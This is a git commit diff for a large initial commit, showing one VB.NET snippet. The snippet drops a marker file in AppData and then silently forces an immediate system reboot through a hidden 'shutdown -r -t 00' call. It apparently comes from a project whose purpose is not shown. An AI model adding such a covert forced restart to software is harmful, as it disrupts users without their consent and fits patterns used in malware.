initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,6 @@
+Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
+If Not IO.File.Exists(bytloc) Then
+   Dim filebyt As Byte() = New Byte() {}
+   My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
+   Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
+End If